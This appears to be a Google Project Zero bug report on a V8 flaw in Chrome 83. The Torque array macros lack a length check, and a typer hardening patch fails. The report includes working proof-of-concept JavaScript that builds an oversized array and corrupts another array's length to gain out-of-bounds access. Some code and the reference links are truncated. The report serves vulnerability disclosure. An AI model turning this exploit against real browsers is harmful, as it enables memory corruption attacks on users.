Chrome: Missing array size check in NewFixedArray  
V8 caps the number of elements a fixed array can contain[1]. Most of the code that needs to create  
or resize a fast JS array (i.e. one that's backed by a fixed array rather than a dictionary) ends up  
calling either the regular C++ function `AllocateRawFixedArray`[2] or its CSA equivalent  
`AllocateFixedArray`[3]. Both functions validate the length parameter and terminate the execution  
when the upper limit is exceeded.  
Recently, the same operation has been implemented in Torque. The newly introduced functions  
`NewFixedArray` and `NewFixedDoubleArray`, however, lack a similar length check:  
macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray {  
if (length == 0) return kEmptyFixedArray;  
return new  
FixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects:};  
macro NewFixedDoubleArray<Iterator: type>(  
length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {  
if (length == 0) return kEmptyFixedArray;  
return new FixedDoubleArray{  
map: kFixedDoubleArrayMap,  
length: Convert<Smi>(length),  
I've discovered two (indirect) users of `NewFixedArray` that can be abused to create an array with  
an invalid length. The first one is `ArrayPrototypeSplice`[5]. An attacker can call `splice` to add  
extra elements to a fast JS array that's just below the size limit. However, naively appending  
elements in a loop in order to obtain such an *enormous but still valid* array would fail and  
trigger an out-of-memory crash. A possible (and really quick) alternative is to merge a smaller  
array with itself several times:  
array = Array(0x80000).fill(1);  
array.prop = 1;  
args = Array(0x100 - 1).fill(array);  
args.push(Array(0x80000 - 4).fill(2));  
giant_array = Array.prototype.concat.apply([], args);  
giant_array.splice(giant_array.length, 0, 3, 3, 3, 3);  
Another function that transitively calls `NewFixedArray` is `RegExpPrototypeMatch`[6]. In this case,  
no preliminary array manipulation is required, although it's significantly slower:  
giant_array = /a/g[Symbol.match]('a'.repeat(0x8000000));  
The attacker can exploit this issue to confuse TurboFan's typer about the possible range of the  
length property of a fast JS array and use the confusion to bypass security checks, similarly to,  
for example, Unfortunately, the bounds check elimination technique from  
previous exploits is still viable due to a bug in one the hardening patches[7] for the typer:  
Reduction TypedOptimization::ReduceMaybeGrowFastElements(Node* node) {  
if (!index_type.IsNone() && !length_type.IsNone() &&  
index_type.Max() < length_type.Min()) {  
Node* check_bounds = graph()->NewNode(  
index, length, effect, control);  
ReplaceWithValue(node, elements);  
return Replace(check_bounds);  
return NoChange();  
The patch adds a `CheckBounds` node to prevent OOB write access when the typer incorrectly assumes  
that a given array will never have to be extended. The problem is that the new node has no output  
edges: by the time `Replace` is called, the original node's effect edge has been already modified by  
`ReplaceWithValue`, and the value output from the `CheckBounds` node is never used. Therefore, the  
new node always gets eliminated in one of the subsequent optimization passes.  
There's also another `CheckBounds` node that verifies the array index is less than `length + 1024`,  
so the attacker has to employ the OOB access to overwrite data located relatively close to the  
array. A good candidate, which immediately presents a powerful exploitation primitive, is the length  
field of another fast array.  
[1] -  
[2] -  
[3] -  
[4] -  
[5] -  
[6] -  
[7] -  
array = Array(0x40000).fill(1.1);  
args = Array(0x100 - 1).fill(array);  
args.push(Array(0x40000 - 4).fill(2.2));  
giant_array = Array.prototype.concat.apply([], args);  
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);  
length_as_double =  
new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];  
function trigger(array) {  
var x = array.length;  
x -= 67108861;  
x = Math.max(x, 0);  
x *= 6;  
x -= 5;  
x = Math.max(x, 0);  
let corrupting_array = [0.1, 0.1];  
let corrupted_array = [0.1];  
corrupting_array[x] = length_as_double;  
return [corrupting_array, corrupted_array];  
for (let i = 0; i < 30000; ++i) {  
corrupted_array = trigger(giant_array)[1];  
alert('corrupted array length: ' + corrupted_array.length.toString(16));  
Google Chrome 83.0.4103.61 (Official Build)  
Chromium 85.0.4158.0 (Developer Build) (64-bit)  
Sergei Glazunov of Google Project Zero  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will  
become visible to the public. The scheduled disclosure date is 2020-08-25. Disclosure at an earlier  
date is possible if agreed upon by all parties.  
Found by: